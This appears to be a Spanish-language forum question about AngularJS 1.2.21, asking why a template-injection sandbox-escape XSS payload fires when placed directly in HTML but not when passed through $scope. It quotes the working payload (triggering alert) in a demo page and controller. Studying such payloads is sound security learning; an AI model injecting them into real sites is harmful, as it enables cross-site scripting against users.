Usando una versión anterior de AngularJS: 1.2.21 del ejemplo, hay algunos playload que pueden generar un XSS.
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
Pero cuando esta carga útil se almacena en un $scope
, no funciona.
Hay un ejemplo en vivo en JsBin
Si la carga útil se pasa directamente al HTML, el XSS funciona bien. Pero si la carga útil se pasa del ámbito, no funciona
No entiendo por qué no se ejecuta la segunda carga útil.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Angular JS</title>
</head>
<body ng-app="jsbin">
<div ng-controller="DemoCtrl as demo">
<h1>Hello {{demo.name}}</h1>
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert('working if not in scope')"].sort(toString.constructor);}}
</div>
<script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.2.21/angular.js"></script>
</body>
</html>
El controlador:
var app = angular.module('jsbin', []);
app.controller('DemoCtrl', function() {
this.name = 'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);';
});